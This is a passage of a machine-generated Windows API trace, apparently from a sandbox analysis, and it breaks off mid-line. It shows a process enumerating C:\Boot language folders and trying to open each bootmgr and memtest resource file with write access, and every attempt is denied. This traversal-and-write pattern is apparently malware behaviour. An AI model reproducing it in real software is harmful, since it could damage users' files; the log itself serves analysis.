ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0146.636] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0146.636] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0146.636] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0146.636] GetProcessHeap () returned 0x2ef0000 [0146.636] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.636] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.640] GetProcessHeap () returned 0x2ef0000 [0146.640] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.640] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.640] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.640] GetProcessHeap () returned 0x2ef0000 [0146.640] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.640] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.641] GetLastError () returned 0x5 [0146.641] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.642] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.642] GetProcessHeap () returned 0x2ef0000 [0146.642] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.643] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0146.643] GetProcessHeap () returned 0x2ef0000 [0146.643] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.643] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.645] GetProcessHeap () returned 0x2ef0000 [0146.645] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.646] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.646] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.647] GetProcessHeap () returned 0x2ef0000 [0146.647] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.647] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.648] GetLastError () returned 0x5 [0146.648] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.648] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.648] GetProcessHeap () returned 0x2ef0000 [0146.649] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.649] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0146.649] GetProcessHeap () returned 0x2ef0000 [0146.649] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.649] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.650] GetProcessHeap () returned 0x2ef0000 [0146.650] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.651] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.651] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.651] GetProcessHeap () returned 0x2ef0000 [0146.651] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.651] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.653] GetLastError () returned 0x5 [0146.654] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.654] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.655] GetProcessHeap () returned 0x2ef0000 [0146.655] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.655] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0146.655] GetProcessHeap () returned 0x2ef0000 [0146.656] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.656] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.659] GetProcessHeap () returned 0x2ef0000 [0146.659] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.659] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.659] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.659] GetProcessHeap () returned 0x2ef0000 [0146.659] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.659] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.660] GetLastError () returned 0x5 [0146.660] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.660] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.660] GetProcessHeap () returned 0x2ef0000 [0146.660] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.661] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0146.661] GetProcessHeap () returned 0x2ef0000 [0146.661] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.661] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.661] GetProcessHeap () returned 0x2ef0000 [0146.661] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.661] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.661] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.661] GetProcessHeap () returned 0x2ef0000 [0146.661] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.661] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.661] GetLastError () returned 0x5 [0146.661] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0146.662] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.662] GetLastError () returned 0x5 [0146.662] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0146.662] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.662] GetProcessHeap () returned 0x2ef0000 [0146.662] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.662] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0146.662] GetProcessHeap () returned 0x2ef0000 [0146.662] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.662] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.663] GetProcessHeap () returned 0x2ef0000 [0146.663] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.663] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.663] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.663] GetProcessHeap () returned 0x2ef0000 [0146.663] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.663] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.664] GetLastError () returned 0x5 [0146.664] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.664] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.664] GetProcessHeap () returned 0x2ef0000 [0146.664] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.664] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0146.664] GetProcessHeap () returned 0x2ef0000 [0146.664] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 